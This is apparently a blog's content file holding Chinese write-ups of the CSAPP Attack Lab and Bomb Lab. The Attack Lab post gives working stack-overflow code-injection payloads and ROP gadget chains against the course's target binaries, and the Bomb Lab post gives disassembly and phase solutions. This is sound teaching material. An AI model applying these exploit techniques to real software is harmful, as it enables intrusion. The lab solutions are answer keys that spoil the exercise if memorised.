-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathcontent.json
More file actions
1 lines (1 loc) · 423 KB
/
content.json
File metadata and controls
1 lines (1 loc) · 423 KB
1
{"posts":[{"title":"CSAPP Lab -- Attack Lab","text":"出师不利啊,上来就碰到执行不了的错误。 参照网上的说法执行的时候添加-q参数即可。 通过WriteUp文件可以得知,我们的目标为touchx函数。 Tips: 这里建议使用cgdb工具(版本至少为0.7.1),从0.7.1版本开始,cgdb允许使用反汇编窗口(通过按esc然后输入:set dis启用)。 指令码我们可以通过编写汇编程序,然后使用gcc -c对其汇编之后,再使用objdump -s -d反汇编获得。 ctarget – CITouch 1拿到手上先执行一下这个程序,随意提供一些输入可以看到关于注入失败的提示。 根据提示信息尝试搜索Getbuf函数,搜索结果如下。同时也得知了getbuf仅在test中被调用。 1234567891011121314151617181900000000004017a8 getbuf: 4017a8: 48 83 ec 28 subq $40, %rsp 4017ac: 48 89 e7 movq %rsp, %rdi 4017af: e8 8c 02 00 00 callq 652 <Gets> 4017b4: b8 01 00 00 00 movl $1, %eax 4017b9: 48 83 c4 28 addq $40, %rsp 4017bd: c3 retq0000000000401968 test: 401968: 48 83 ec 08 subq $8, %rsp 40196c: b8 00 00 00 00 movl $0, %eax 401971: e8 32 fe ff ff callq -462 <getbuf> 401976: 89 c2 movl %eax, %edx 401978: be 88 31 40 00 movl $4206984, %esi 40197d: bf 01 00 00 00 movl $1, %edi 401982: b8 00 00 00 00 movl $0, %eax 401987: e8 64 f4 ff ff callq -2972 <__printf_chk@plt> 40198c: 48 83 c4 08 addq $8, %rsp 401990: c3 retq 然后根据WriteUp可以得知目标函数为touch1。从中可以得知,touch1仅做一次puts操作就调用校验函数。并且touch1函数不包含任何的输入。 12345678900000000004017c0 touch1: 4017c0: 48 83 ec 08 subq $8, %rsp 4017c4: c7 05 0e 2d 20 00 01 00 00 00 movl $1, 2108686(%rip) 4017ce: bf c5 30 40 00 movl $4206789, %edi 4017d3: e8 e8 f4 ff ff callq -2840 <puts@plt> 4017d8: bf 01 00 00 00 movl $1, %edi 4017dd: e8 ab 04 00 00 callq 1195 <validate> 4017e2: bf 00 00 00 00 movl $0, %edi 4017e7: e8 54 f6 ff ff callq -2476 <exit@plt> 可以看到共分配了40个字节给栈来存储输入,因此尝试输入40个字节和39个字节(由于字符串末尾存在一个\\0,因此实际上是输入了41和40个字节)看看。发现果然输入40个字节的事后发生了溢出。 因此在0x4017b4地址处设置断点,仅输入39个字符(未溢出),然后查看栈情况。 可以看到前40个字节是我们输入的数据,而之后的数据应该是getbuf函数的返回地址,这里我们打印一下看看。 对这个地址进行反汇编,可以发现于test函数中getbuf返回的地址一致。 我们的目标是跳转到touch1函数(地址0x00000000004017c0),因此构造payload: 1234567891011121314151617181920#include <stdio.h>int main(){ FILE *fp = NULL; fp = fopen("touch1.payload", "wb"); // payload char buf[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x17, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00 }; int r = fwrite(buf, 48, 1, fp); printf("fwrite return %d\\n", r); fclose(fp);} 对其编译并执行得到我们需要的payload字符。 将其提交通过! Touch 2用同样的方式进入touch2函数(地址0x00000000004017ec)看看。可以看到校验失败,说明touch2不能通过简单的跳转完成。 进一步分析touch2的代码。touch2对输入变量和2108642(%rip)的值进行比较,如果不相等则打印”Misfire…”。 12345678910111213141516171819202100000000004017ec touch2: 4017ec: 48 83 ec 08 subq $8, %rsp 4017f0: 89 fa movl %edi, %edx 4017f2: c7 05 e0 2c 20 00 02 00 00 00 movl $2, 2108640(%rip) 4017fc: 3b 3d e2 2c 20 00 cmpl 2108642(%rip), %edi 401802: 75 20 jne 32 <touch2+0x38> 401804: be e8 30 40 00 movl $4206824, %esi 401809: bf 01 00 00 00 movl $1, %edi 40180e: b8 00 00 00 00 movl $0, %eax 401813: e8 d8 f5 ff ff callq -2600 <__printf_chk@plt> 401818: bf 02 00 00 00 movl $2, %edi 40181d: e8 6b 04 00 00 callq 1131 <validate> 401822: eb 1e jmp 30 <touch2+0x56> 401824: be 10 31 40 00 movl $4206864, %esi 401829: bf 01 00 00 00 movl $1, %edi 40182e: b8 00 00 00 00 movl $0, %eax 401833: e8 b8 f5 ff ff callq -2632 <__printf_chk@plt> 401838: bf 02 00 00 00 movl $2, %edi 40183d: e8 0d 05 00 00 callq 1293 <fail> 401842: bf 00 00 00 00 movl $0, %edi 401847: e8 f4 f5 ff ff callq -2572 <exit@plt> 2108642(%rip)的值是一个不可访问的内存,但是根据gdb给出的信息来看,它应该是cookie的值。 首先做一个trick试试,将返回地址设为0x0000000000401804,即直接跳过判断语句。 依然校验失败,说明不能这么做,只能老老实实的想办法修改touch2的输入参数,将其修改为Cookie(0x59b997fa,别想着修改cookie文件,这个是没有用的)。 在调用getbuf时,rsp寄存器的值为0x5561dc78,并且rsp可以存储40个字节,因此可以想办法通过这里来注入自己的代码。 另外,Gets函数体内有一个save_char函数会将输入的字符放入到一个数组中。这个机制也可以利用,但是相比之下更为复杂。 要修改目标地址的值,那么就要设计指令movq $0x59b997fa, %rdi。因此构造payload.c如下: 12345678910// movq $0x59b997fa, %rdi// pushq 0x4017EC// retchar buf[] = { 0x48, 0xC7, 0xC7, 0xFA, 0x97, 0xB9, 0x59, 0x68, 0xEC, 0x17, 0x40, 0x00, 0xC3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x78, 0xdc, 0x61, 0x55, 0x00, 0x00, 0x00, 0x00}; 这里方法不唯一,但是存在一个问题。经测试,如果采用继续覆盖的方式将第二个跳转地址写入栈,这个会引发segment fault错误;此外采用mov指令直接修改(%rsp)的值,再跳转也会引发segment fault错误。仅使用push的方式不会引发。猜测是由于上述的两类方式不符合栈的使用规则,从而导致的问题。 这里简单解释一个原因,首先我们使用了缓冲区溢出,覆盖了getbuf的返回地址,将其指向我们设计的指令的地址,然后再通过我们的指令修改rdi寄存器的值,并通过ret跳转到touch2函数。 getbuf执行完ret之后,跳转到了我们写入字节的起始位置,然后将目标地址压栈,并通过ret语句跳转到touch2函数。 将其提交,最后成功通过! Touch 3先来观察一下touch3的要求,(这里使用的ida工具进行的反汇编)。可以看到它是将输入的字节与cookie一起送入一个hexmatch的函数进行比较。 然后进一步查看hexmatch函数的内容,大致可以猜测其检查输入的16进制字符串是否与一个16进制数匹配。 因此构造payload,大致意思就是将一个字符串写入栈中,然后将该字符串的地址传给rdi寄存器。我们把字符串放在0x5561dc78的位置,并在栈中添加至少预留48个字节的空间来避免字符串被覆盖。 由于getbuf最后会给rsp增加40字节,并且之后执行ret指令将返回地址出栈。(相当于共执行pop 6次)。这就导致写入的字符串会位于未被分配的空间,从而造成字符串的覆盖。 此外还需要考虑栈对齐的问题,即使我们把字符串写在了返回地址之后,让它所在的空间不是未分配空间。但是如果栈指针不16字节对齐,sprintf函数会检查栈的对齐问题,从而导致出错。 123456789101112// mov $0x5561dc78, %rdi// subq $48, %rsp// pushq $0x4018FA// retchar buf[] = { 0x35, 0x39, 0x62, 0x39, 0x39, 0x37, 0x66, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0xC7, 0xC7, 0x78, 0xDC, 0x61, 0x55, 0x48, 0x83, 0xEC, 0x30, 0x68, 0xFA, 0x18, 0x40, 0x00, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xDC, 0x61, 0x55, 0x00, 0x00, 0x00, 0x00}; rtarget – ROP这里因为明确说了,使用ROP攻击,而不是代码注入。因此我们的攻击代码为在程序中精心挑选的指令来实施攻击。这部分的实验,提供了一个精简的指令组farm.c,里面都是很简单的函数来供我们选择。 由于ROP攻击方式是可以绕过NX/DEP(内存区域不可执行)和ASLR(栈地址随机化)防护的,因此我们下面的实验也假设程序是设置过上述防护的。 Touch 1这个与ctarget的touch 1完全一致,因此不考虑。 Touch 2touch2的函数与ctarget一致。因此我们同样需要想办法修改rdi寄存器来让它与cookie的值相等。 因为farm提供函数均为操作rdi或者rax寄存器。farm函数只提供了对(%rdi)的操作,而没有提供我们需要的直接修改rdi寄存器值的指令。 所以,要修改rdi寄存器的值,必然要找到popq或movq <>, %rdi指令。结合我们ctarget部分所学习到的代码注入,可以得知,需要执行的指令不一定是程序中存在的某一条指令,也可以是某个连续的字节码(即某条指令的一部分,或者多条指令的中间部分)恰好满足我们需要的指令的字节码。 因此利用gcc得到了下列指令,我们在farm中搜寻满足我们需要指令的字节。 1234567890: 48 89 f7 mov %rsi,%rdi3: 48 89 c7 mov %rax,%rdi6: 48 89 07 mov %rax,(%rdi)9: 48 8b 38 mov (%rax),%rdic: 48 8b 3a mov (%rdx),%rdif: 48 8b 7c 70 02 mov 0x2(%rax,%rsi,2),%rdi14: 89 c7 mov %eax,%edi16: 58 pop %rax17: 5f pop %rdi 最终找到了addval_273函数包含所需的机器码48 89 c7 c3。而且5f c3并不存在,这样就没办法直接通过栈来给rdi寄存器赋值。 12300000000004019a0 addval_273: 4019a0: 8d 87 48 89 c7 c3 leal -1010333368(%rdi), %eax 4019a6: c3 retq 这样就可以通过rax寄存器来给rdi寄存器赋值了。接着搜索58 c3,利用pop指令来给rax寄存器赋值。但是这个值并没搜到,最接近一个值为58 90 c3。 12300000000004019ca getval_280: 4019ca: b8 29 58 90 c3 movl $3281016873, %eax 4019cf: c3 retq 这里我编写了一个脚本来查看我们输入的字节码对应的指令是什么。大致作用就是利用capstone引擎,来实现从控制台读取16进制字符串,从而解析成对应的汇编指令。 1234567891011121314151617181920#!/usr/bin/env python3# coding=utf-8from capstone import *import sysif (len(sys.argv) < 2): sys.exit(0)for t in range(1, len(sys.argv)): print("=" * 30 + f"{t:03}" + "=" * 30) CODE = bytes.fromhex(sys.argv[t]) md = Cs(CS_ARCH_X86, CS_MODE_64) md.syntax = CS_OPT_SYNTAX_ATT print(f"CODE: {CODE}") for i in md.disasm(CODE, 0x1000): print(f"0x{i.address:x}:\\t{i.mnemonic}\\t{i.op_str}") print() 利用python脚本对指令的解析结果如下。可以看到多出来的90对应的是nop指令,它是一个空指令,因此可以忽视。 这样,我们同时获取到了popq %rax和movq %rax, %rdi指令。现在我们只需要将cookie的值送入栈中,并设置好返回地址即可完成。 构造payload: 1234567891011char buf[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0xCC, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> popq %rax 0xFA, 0x97, 0xb9, 0x59, 0x00, 0x00, 0x00, 0x00, // cookie 0xA2, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rax, %rdi 0xEC, 0x17, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> touch2}; Touch 3根据ctarget的信息,我们要想办法把一个字符串写入栈中,并且将字符串的地址送入rdi寄存器。 首先我们要想办法,把栈中的一个地址送入寄存器。因为我们的字符串是存在栈中的,要获得栈某个位置的地址,要么对esp寄存器使用add或sub指令,然后再通过mov指令将地址送入寄存器;要么直接利用lea指令来计算一个有效地址,送入寄存器。 在farm中发现,add_xy函数的指令是满足我们需要的。 12300000000004019d6 add_xy: 4019d6: 48 8d 04 37 leaq (%rdi,%rsi), %rax 4019da: c3 retq 但是我们还需要找到能够操作rsi寄存器的指令。由于这个指令在farm的字符中找不到,所以我们借助工具ROPgadget来搜索这个指令。通过工具在main函数的末尾找到了我们需要的这个指令。5e代表的是popq %rsi指令。 12401382: 41 5e popq %r14401384: c3 retq 因为我假设了栈地址是随机化的,所以还需要找到获取rsp值的指令。所幸在farm中存在这么一个指令48 89 e0对应的是movq %rsp, %rax。 1230000000000401aab setval_350: 401aab: c7 07 48 89 e0 90 movl $2430634312, (%rdi) 401ab1: c3 retq 至此我们已经拥有了如下指令: 地址4019a2 12movq %rax,%rdiret 地址4019cc 123popq %raxnopretq 地址4019d6 12leaq (%rdi,%rsi), %raxretq 地址401383 12popq %rsiretq 地址401aad 123movq %rsp, %raxnopretq 因此根据上述信息构造我们的payload: 这里千万要注意,编写好的指令,最终进入touch3的时候,一定要满足栈指针是16Bytes对齐的,不然sprintf函数对栈进行check时会出错。 123456789101112131415161718192021222324/* movq %rsp, %rax movq %rax,%rdi popq %rsi leaq (%rdi,%rsi), %rax movq %rax,%rdi*/char buf[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符 0xAD, 0x1A, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rsp, %rax 0xAD, 0x1A, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rsp, %rax,无意义的执行,为了使栈对齐 0xA2, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rax, %rdi 0x83, 0x13, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> popq %rsi 0x30, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // rsi value -> 48 0xD6, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> leaq (%rdi,%rsi), %rax 0xA2, 0x19, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> movq %rax, %rdi 0xFA, 0x18, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, // ret addr -> touch3 0x35, 0x39, 0x62, 0x39, 0x39, 0x37, 0x66, 0x61, // 字符串 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // 填充字符}; 最后成功通过! 问题对于touch3,不管是哪种攻击方式都可能出现如下错误。就算反复确认传入的指令是正确的,并且传入touch3时一切如预期执行,但是依然会出现这个错误。 经过我的反复检查,最后发现是由于中间利用了ret指令,而ret指令会修改rsp的值(相当于执行了pop),这就导致了栈指针不一定是16 Bytes对齐的。 如果栈指针不是16 Bytes对齐的,在执行到hexmatch函数内部的sprintf函数时,会调用一个___sprintf_chk函数来确认栈。也正是它,在栈不是对齐的时候,会引发segment fault错误。 参考资料[1] WriteUp [2] 【技术分享】ROP技术入门教程 [3] ROPgadget","link":"/2021/04/17/CSAPP-Lab-Attack-Lab/"},{"title":"CSAPP Lab -- Bomb Lab","text":"使用objdump工具对程序进行反汇编。 123objdump -s -d bomb > bomb.out # 可执行指令部分反汇编objdump -s -j .data bomb > bomb.data # 获取data段objdump -s -j .rodata bomb > bomb.rodata # 获取rodata段 Phase 1找到Phase_1部分的汇编代码。 1234567890000000000400ee0 phase_1: 400ee0: 48 83 ec 08 subq $8, %rsp 400ee4: be 00 24 40 00 movl $4203520, %esi 400ee9: e8 4a 04 00 00 callq 1098 <strings_not_equal> 400eee: 85 c0 testl %eax, %eax 400ef0: 74 05 je 5 <phase_1+0x17> 400ef2: e8 43 05 00 00 callq 1347 <explode_bomb> 400ef7: 48 83 c4 08 addq $8, %rsp 400efb: c3 retq 对它以及调用它的上下文简单分析可以将它转为下列C语言代码。(部分强大的反汇编工具允许生成C语言代码,这里建议自己手动尝试) Test指令用于将两个操作数进行与操作,然后根据结果设置标志寄存器。JE指令表示ZF被置位时跳转。 这里的作用是检测eax是否为0,如果与的结果为0,则ZF置位。如果ZF被置位则跳转到<phase_1+0x17>的位置。 123456phase_1(char *input) { int r = strings_not_equal(input, 4203520); if (r != 0) { explode_bomb(); }} strings_not_equal方法可以猜测是一个是一个字符串比较函数,因此可以猜测4203520(0x402400)是一个地址。 12345678# objdump -s -j .rodata bomb402400 426f7264 65722072 656c6174 696f6e73 Border relations402410 20776974 68204361 6e616461 20686176 with Canada hav402420 65206e65 76657220 6265656e 20626574 e never been bet402430 7465722e 00000000 576f7721 20596f75 ter.....Wow! You402440 27766520 64656675 73656420 74686520 've defused the402450 73656372 65742073 74616765 2100666c secret stage!.fl402460 79657273 00000000 00000000 00000000 yers............ 从中地址4203520提取出字符串“Border relations with Canada have never been better.”(字符串以0x00结束)。 此处补充一下strings_not_equal的逻辑,可以根据汇编代码得出下列结果: 1234567891011121314int strings_not_equal(char *input, char *str) { if (strlen(input) != strlen(str)) { return 1; } while (*input != 0) { if (*input == *str) { input++; str++; } else { return 1; } } return 0; Phase 212345678910111213141516171819202122232425260000000000400efc phase_2: 400efc: 55 pushq %rbp 400efd: 53 pushq %rbx 400efe: 48 83 ec 28 subq $40, %rsp 400f02: 48 89 e6 movq %rsp, %rsi 400f05: e8 52 05 00 00 callq 1362 <read_six_numbers> 400f0a: 83 3c 24 01 cmpl $1, (%rsp) 400f0e: 74 20 je 32 <phase_2+0x34> 400f10: e8 25 05 00 00 callq 1317 <explode_bomb> 400f15: eb 19 jmp 25 <phase_2+0x34> 400f17: 8b 43 fc movl -4(%rbx), %eax 400f1a: 01 c0 addl %eax, %eax 400f1c: 39 03 cmpl %eax, (%rbx) 400f1e: 74 05 je 5 <phase_2+0x29> 400f20: e8 15 05 00 00 callq 1301 <explode_bomb> 400f25: 48 83 c3 04 addq $4, %rbx 400f29: 48 39 eb cmpq %rbp, %rbx 400f2c: 75 e9 jne -23 <phase_2+0x1b> 400f2e: eb 0c jmp 12 <phase_2+0x40> 400f30: 48 8d 5c 24 04 leaq 4(%rsp), %rbx 400f35: 48 8d 6c 24 18 leaq 24(%rsp), %rbp 400f3a: eb db jmp -37 <phase_2+0x1b> 400f3c: 48 83 c4 28 addq $40, %rsp 400f40: 5b popq %rbx 400f41: 5d popq %rbp 400f42: c3 retq 同样对它进行翻译 123456789101112131415161718phase_2(char *input) { %rsp -= 40 read_six_number(input, %rsp - 40); if (*(%rsp) != 1) { explode_bomb(); } %rbx = %rsp + 4; %rbp = %rsp + 24;loop: %eax = *(%rbx - 4) * 2; if (%eax != *(%rbx)) { explode_bomb(); } %rbx += 4; if (%rbp != %rbx) { goto loop; }} 很容易看出来,比较6个数。已经规定了第一个数是1,要求每个后面的数,都是前一个数的两倍。 Phase 3123456789101112131415161718192021222324252627282930313233343536370000000000400f43 phase_3: 400f43: 48 83 ec 18 subq $24, %rsp 400f47: 48 8d 4c 24 0c leaq 12(%rsp), %rcx 400f4c: 48 8d 54 24 08 leaq 8(%rsp), %rdx 400f51: be cf 25 40 00 movl $4203983, %esi 400f56: b8 00 00 00 00 movl $0, %eax 400f5b: e8 90 fc ff ff callq -880 <__isoc99_sscanf@plt> 400f60: 83 f8 01 cmpl $1, %eax 400f63: 7f 05 jg 5 <phase_3+0x27> 400f65: e8 d0 04 00 00 callq 1232 <explode_bomb> 400f6a: 83 7c 24 08 07 cmpl $7, 8(%rsp) 400f6f: 77 3c ja 60 <phase_3+0x6a> 400f71: 8b 44 24 08 movl 8(%rsp), %eax 400f75: ff 24 c5 70 24 40 00 jmpq *4203632(,%rax,8) # switch跳转表 400f7c: b8 cf 00 00 00 movl $207, %eax 400f81: eb 3b jmp 59 <phase_3+0x7b> 400f83: b8 c3 02 00 00 movl $707, %eax 400f88: eb 34 jmp 52 <phase_3+0x7b> 400f8a: b8 00 01 00 00 movl $256, %eax 400f8f: eb 2d jmp 45 <phase_3+0x7b> 400f91: b8 85 01 00 00 movl $389, %eax 400f96: eb 26 jmp 38 <phase_3+0x7b> 400f98: b8 ce 00 00 00 movl $206, %eax 400f9d: eb 1f jmp 31 <phase_3+0x7b> 400f9f: b8 aa 02 00 00 movl $682, %eax 400fa4: eb 18 jmp 24 <phase_3+0x7b> 400fa6: b8 47 01 00 00 movl $327, %eax 400fab: eb 11 jmp 17 <phase_3+0x7b> 400fad: e8 88 04 00 00 callq 1160 <explode_bomb> 400fb2: b8 00 00 00 00 movl $0, %eax 400fb7: eb 05 jmp 5 <phase_3+0x7b> 400fb9: b8 37 01 00 00 movl $311, %eax 400fbe: 3b 44 24 0c cmpl 12(%rsp), %eax 400fc2: 74 05 je 5 <phase_3+0x86> 400fc4: e8 71 04 00 00 callq 1137 <explode_bomb> 400fc9: 48 83 c4 18 addq $24, %rsp 400fcd: c3 retq 同样进行翻译,先说结论,其解释在后面。 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849phase_3 (char *input) { int r = __isoc99_sscanf(input, 4203983, %rsp + 8, %rsp + 12); if (r <= 1) { explode_bomb(); } if (*(%rsp + 8) > 7) { goto tag_1; } %eax = *(%rsp + 8) switch(%eax) { case 0: %eax = 207; goto tag_2; case 1: %eax = 311; goto tag_2; case 2: %eax = 707; goto tag_2; case 3: %eax = 256; goto tag_2; case 4: %eax = 389; goto tag_2; case 5: %eax = 206; goto tag_2; case 6: %eax = 682; goto tag_2; case 7: %eax = 327; goto tag_2; }; tag_1: explode_bomb(); %eax = 0; goto tag_2;tag_2: if (%eax == *(%rsp + 12)) { goto ret; } explode_bomb();ret: return;} 首先来看下输入给__isoc99_sscanf的字符串,即“%d %d”。即从input中读取两个数,到%esp + 8和%esp + 12的位置。 根据指令jmpq *4203632(,%rax,8),以及下列一系列的操作可以判断是一个switch语句,然后根据这个地址找到switch的跳转表。找到跳转表之后就可以根据%rax的值来还原case的情况。 最后就很简单了,输入两个数,让第一个数对应的case获得的值等于第二个数。 Phase 41234567891011121314151617181920212223000000000040100c phase_4: 40100c: 48 83 ec 18 subq $24, %rsp 401010: 48 8d 4c 24 0c leaq 12(%rsp), %rcx 401015: 48 8d 54 24 08 leaq 8(%rsp), %rdx 40101a: be cf 25 40 00 movl $4203983, %esi 40101f: b8 00 00 00 00 movl $0, %eax 401024: e8 c7 fb ff ff callq -1081 <__isoc99_sscanf@plt> 401029: 83 f8 02 cmpl $2, %eax 40102c: 75 07 jne 7 <phase_4+0x29> # 0x401035 40102e: 83 7c 24 08 0e cmpl $14, 8(%rsp) 401033: 76 05 jbe 5 <phase_4+0x2e> # 0x40103a 401035: e8 00 04 00 00 callq 1024 <explode_bomb> 40103a: ba 0e 00 00 00 movl $14, %edx 40103f: be 00 00 00 00 movl $0, %esi 401044: 8b 7c 24 08 movl 8(%rsp), %edi 401048: e8 81 ff ff ff callq -127 <func4> 40104d: 85 c0 testl %eax, %eax 40104f: 75 07 jne 7 <phase_4+0x4c> # 0x401058 401051: 83 7c 24 0c 00 cmpl $0, 12(%rsp) 401056: 74 05 je 5 <phase_4+0x51> # 0x40105d 401058: e8 dd 03 00 00 callq 989 <explode_bomb> 40105d: 48 83 c4 18 addq $24, %rsp 401061: c3 retq 解释称对应的C语言: 123456789101112phase_4 (char *input) { int r = __isoc99_sscanf(input, 4203983, %rsp + 8, %rsp + 12); // 跟phase_3一样读取两个数 if (r != 2 || *(%rsp + 8) > 14) { explode_bomb(); } r = func4(*(%rsp + 8), 0, 14); if (r != 0 || *(%rsp + 12) != 0) { explode_bomb(); }} 看来还需要进一步关注func4的内容。 12345678910111213141516171819202122230000000000400fce func4: 400fce: 48 83 ec 08 subq $8, %rsp 400fd2: 89 d0 movl %edx, %eax 400fd4: 29 f0 subl %esi, %eax 400fd6: 89 c1 movl %eax, %ecx 400fd8: c1 e9 1f shrl $31, %ecx 400fdb: 01 c8 addl %ecx, %eax 400fdd: d1 f8 sarl %eax 400fdf: 8d 0c 30 leal (%rax,%rsi), %ecx 400fe2: 39 f9 cmpl %edi, %ecx 400fe4: 7e 0c jle 12 <func4+0x24> # 0x400ff2 400fe6: 8d 51 ff leal -1(%rcx), %edx 400fe9: e8 e0 ff ff ff callq -32 <func4> 400fee: 01 c0 addl %eax, %eax 400ff0: eb 15 jmp 21 <func4+0x39> # 0x401007 400ff2: b8 00 00 00 00 movl $0, %eax 400ff7: 39 f9 cmpl %edi, %ecx 400ff9: 7d 0c jge 12 <func4+0x39> # 0x401007 400ffb: 8d 71 01 leal 1(%rcx), %esi 400ffe: e8 cb ff ff ff callq -53 <func4> 401003: 8d 44 00 01 leal 1(%rax,%rax), %eax 401007: 48 83 c4 08 addq $8, %rsp 40100b: c3 retq 同样对其进行解析,大致可以看出来func4做的是一个二分查找,在y和z中间查找x,并且返回搜索的次数。 1234567891011121314151617181920212223242526func4(%edi, %esi, %edx) { %eax = %edx - %esi; %ecx = %eax >> 31; // 严格来说不能这么写,shrl代表的是逻辑右移,而不是算数右移 // 在C语言中的>>代表的是算数右移 %eax += %ecx; %eax >>= 1; // 这里sarl就是算数右移 %ecx = %rax + %rsi; // %ecx这里就代表的是中间数mid = l + (r - l) / 2 if (%ecx <= %edi) { // if mid <= target %eax = 0; if (%ecx >= %edi) { // if mid == target return %eax; } %esi = %rcx + 1; // l = mid + 1 %eax = func4(%edi, %esi, %edx); %eax = %rax * 2 + 1; } else { // if mid > target %edx = %rcx - 1; // r = mid - 1 %eax = func4(%edi, %esi, %edx); %eax *= 2; } return %eax;} 这样就很明显了,要使炸弹不爆炸需要输入两个数,第一个数在(0, 14)之间进行二分查找的搜索次数为0,第二数要求为0。 Phase 5123456789101112131415161718192021222324252627282930313233343536373839400000000000401062 phase_5: 401062: 53 pushq %rbx 401063: 48 83 ec 20 subq $32, %rsp 401067: 48 89 fb movq %rdi, %rbx 40106a: 64 48 8b 04 25 28 00 00 00 movq %fs:40, %rax 401073: 48 89 44 24 18 movq %rax, 24(%rsp) 401078: 31 c0 xorl %eax, %eax 40107a: e8 9c 02 00 00 callq 668 <string_length> 40107f: 83 f8 06 cmpl $6, %eax 401082: 74 4e je 78 <phase_5+0x70> # 0x4010d2 401084: e8 b1 03 00 00 callq 945 <explode_bomb> 401089: eb 47 jmp 71 <phase_5+0x70> # 0x4010d2 40108b: 0f b6 0c 03 movzbl (%rbx,%rax), %ecx 40108f: 88 0c 24 movb %cl, (%rsp) 401092: 48 8b 14 24 movq (%rsp), %rdx 401096: 83 e2 0f andl $15, %edx 401099: 0f b6 92 b0 24 40 00 movzbl 4203696(%rdx), %edx 4010a0: 88 54 04 10 movb %dl, 16(%rsp,%rax) 4010a4: 48 83 c0 01 addq $1, %rax 4010a8: 48 83 f8 06 cmpq $6, %rax 4010ac: 75 dd jne -35 <phase_5+0x29> # 0x40108b 4010ae: c6 44 24 16 00 movb $0, 22(%rsp) 4010b3: be 5e 24 40 00 movl $4203614, %esi 4010b8: 48 8d 7c 24 10 leaq 16(%rsp), %rdi 4010bd: e8 76 02 00 00 callq 630 <strings_not_equal> 4010c2: 85 c0 testl %eax, %eax 4010c4: 74 13 je 19 <phase_5+0x77> # 0x4010d9 4010c6: e8 6f 03 00 00 callq 879 <explode_bomb> 4010cb: 0f 1f 44 00 00 nopl (%rax,%rax) 4010d0: eb 07 jmp 7 <phase_5+0x77> # 0x4010d9 4010d2: b8 00 00 00 00 movl $0, %eax 4010d7: eb b2 jmp -78 <phase_5+0x29> # 0x40108b 4010d9: 48 8b 44 24 18 movq 24(%rsp), %rax 4010de: 64 48 33 04 25 28 00 00 00 xorq %fs:40, %rax 4010e7: 74 05 je 5 <phase_5+0x8c> # 0x4010ee 4010e9: e8 42 fa ff ff callq -1470 <__stack_chk_fail@plt> 4010ee: 48 83 c4 20 addq $32, %rsp 4010f2: 5b popq %rbx 4010f3: c3 retq 还是C语言相较于汇编容易理解一些。 1234567891011121314151617181920212223phase_5(input) { %rbx = input; %eax = strlen(input); if (%eax != 6) { explode_bomb(); } %eax = 0; do { %ecx = *(%rbx + %rax); %edx = *((%cl & 0xf) + 4203696); *(%rsp + %rax + 16) = %dl; %rax++;} while (%rax != 6); *(%rsp + 22) = 0; %eax = strings_not_equal(*(%rsp + 16), 4203614); if (%eax != 0) { explode_bomb(); }} 这里有一部分看着很奇怪的指令组合。在stack overflow上有类似的讨论what does this instruction do?:- mov %gs:0x14,%eax。忽略它。 123456740106a: 64 48 8b 04 25 28 00 00 00 movq %fs:40, %rax401073: 48 89 44 24 18 movq %rax, 24(%rsp)401078: 31 c0 xorl %eax, %eax4010d9: 48 8b 44 24 18 movq 24(%rsp), %rax4010de: 64 48 33 04 25 28 00 00 00 xorq %fs:40, %rax4010e7: 74 05 je 5 <phase_5+0x8c> # 0x4010ee4010e9: e8 42 fa ff ff callq -1470 <__stack_chk_fail@plt> 先看一下地址4203614(0x40245e)的信息,可以得到一个字符串“flyers”。 12402450 73656372 65742073 74616765 2100666c secret stage!.fl402460 79657273 00000000 00000000 00000000 yers............ 然后看一下地址4203696(0x4024b0)的信息,可以看到一个很长的字符串,但是由于我们仅需要15个字符(偏移量最大为15),因此从中提取6个字符“maduiersnfotvbyl”。 124024b0 6d616475 69657273 6e666f74 7662796c maduiersnfotvbyl4024c0 536f2079 6f752074 68696e6b 20796f75 So you think you 